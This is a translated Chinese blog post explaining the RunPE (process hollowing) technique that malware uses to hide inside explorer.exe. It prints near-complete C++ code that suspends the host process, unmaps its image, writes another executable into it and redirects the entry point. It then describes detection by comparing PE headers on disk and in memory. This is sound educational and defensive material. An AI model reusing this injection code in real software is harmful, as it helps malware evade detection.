使用恶意软件将隐藏代码注入已知进程的攻击研究
2017-11-14 15:06
816 查看
对于恶意软件编写者来说,隐藏一个进程一直是一个挑战,他们对此发现了很多方法。我现在讲述的这个技巧是非常基本的,虽然写起来很简单,但是却不能一直工作下去。这个技巧叫做“RunPE”,在恶意软件行业,特别是RAT(远程管理工具)中已经使用了很多次。
基本上,当一个恶意软件启动时,它会在Windows进程中挑选一个受害者(如explorer.exe),(如果有童鞋使用过metasploit中的进程注入攻击,这应该并不陌生吧)并启动一个新的实例,它处于挂起状态。在这种状态下,进行修改是安全的,恶意软件将完全从代码中清除它,如果需要的话会扩展进内存,并在其中复制自己的代码。
然后,恶意软件会做一些变化来调整入口地址以及基地址,并将恢复其进程。恢复后,该进程显示正在从一个文件(explorer.exe)开始,这会没有显示它做了什么,但它实际上已经做了。
RunPE:代码
void RunPe( wstring const& target, wstring const& source ) { Pe src_pe( source ); // Parse source PE structure if ( src_pe.isvalid ) { Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target if ( res.success ) { PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) ); // Allocate space for context CTX->ContextFlags = CONTEXT_FULL; if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) ) // Read target context { DWORD dwImageBase; ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL ); // Get base address of target typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection xNtUnmapViewOfSection; xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) ) // Unmap target code { LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); // Realloc for source code if ( pImageBase ) { Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders ); // Read source headers PVOID src_headers_ptr = src_pe.GetPointer( 0 ); if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) ) { if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) ) // Write source headers { bool success = true; for (u_int i = 0; i < src_pe.sections.size(); i++) // Write all sections { // Get pointer on section and copy the content Buffer src_section( src_pe.sections.at( i ).SizeOfRawData ); LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData ); success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() ); // Write content to target success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL); } if ( success ) { WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL ); // Rewrite image base CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint; // Rewrite entry point SetThreadContext( res.hThread, LPCONTEXT( CTX ) ); // Set thread context ResumeThread( res.hThread ); // Resume main thread } } } } } } if ( res.hProcess) CloseHandle( res.hProcess ); if ( res.hThread ) CloseHandle( res.hThread ); } } } ... RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );
(源代码是能自我解释的,但是我选择让它与我们的底层库(Pe,Process,…)紧密联系在一起,以便代码不会脱离盒子(避免脚本小子使用它来做坏事)。然而,我建议工程师能理解逻辑并重新创建二进制文件。自己的翻译)
源代码是能自我解释的,这段代码想表达的意思应该是不言而喻的(意思就是光字面上来看S_B也看的懂),不管怎样我把他们用底层库封装起来(pe.process..代码里也只看到类没看到实现代码),这样如果没有这些底层库这些代码就不能够运行(废话,lib都不提供我拿什么编译),以防止一些中二病大黑客用这些代码到处搞事情,不过,一个资深的码农老司机应该很容易看得懂代码中的逻辑关系并且(依照当中的意思)自己码出能用的二进制程序。
主程序将以explorer.exe为目标,以calc.exe为源码调用RunPe函数。这将导致运行calc.exe代码到explorer.exe的表面。
该RunPe功能将简单地处于中止状态的explorer.exe创建,除去属于该模块的部分与NtUnmapViewOfSection。然后,它将分配更多的内存与前面未映射的部分相同的首选地址来承载目标(calc.exe)的代码。
该代码(标题+部分)复制到新分配的部分,我们调整内存映像基址+入口点地址以匹配新的偏移量(explorer.exe的基址可能会不同)。完成后,主线程恢复。
RunPE:结果
在创建后暂停
在explorer.exe中的部分区域未被映射后
在新的部分区域被分配后
在calc.exe代码被写入后
Process Hacker软件在explorer.exe中显示Calc caption窗口
calc.exe字符串出现在explorer.exe部分
RunPE:检测
这个技巧很简单,检测也很简单。我们可以假设(除了.NET程序集)PE头将在内存和进程的磁盘镜像中99%相同。知道了这个后,我们可以在每个进程中比较磁盘上文件的PE头和内存中的映像。如果分歧太大,我们可以放心地认定这个过程是被劫持的。
图为RunPE的检测
链接
https://blackc0.de/2014/06/defeating-runpe-malware-packer/
http://menalix.com/?tag=runpe-injection
http://www.autosectools.com/process-hollowing.pdf
https://www.phrozensoft.com/2015/05/runpe-detector-1
https://www.adlice.com/runpe-hide-code-behind-legit-process/
相关文章推荐
- 黑客内参-使用恶意软件将隐藏代码注入已知进程的渗透研究
- Pe研究之:从内存中加载Pe文件(代码重定位,进程隐藏,代码注入)
- [置顶] 恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)
- Pe研究之:从内存中加载Pe文件(代码重定位,进程隐藏,代码注入)
- 使用apache.commons.lang3.StringEscapeUtils 过滤'<' '>' '&' 字符注入,防御恶意HTML注入攻击
- 加密货币挖矿(Cryptomining)恶意软件使用Rootkit在受感染的Linux系统上隐藏自己
- 图片攻击-BMP图片中注入恶意JS代码 <转载>
- 3月第1周安全回顾 间谍软件渗透企业 ZDnet被注入恶意代码
- 如何通过代码控制软件键盘的显示与隐藏(InputMethodManager 的使用)
- 基于windows PE文件的恶意代码分析;使用SystemInternal工具与内核调试器研究windows用户空间与内核空间
- 一段进程隐藏的代码
- 给Source Insight做个外挂系列之二--将本地代码注入到Source Insight进程
- 给Source Insight做个外挂系列之二--将本地代码注入到Source Insight进程
- 使用脚本控制网页Table的显示隐藏(全代码)_AX
- Dll注入系统进程的部分代码
- 昨天完成一个进程监视小软件,现在又开始研究数字签名
- 昨天完成一个进程监视小软件,现在又开始研究数字签名
- 研究人员称rootkit黑客代码可隐藏在BIOS中
- 进程隐藏的Delphi代码(操作 PhysicalMemory
- 向其他进程注入代码的三种方法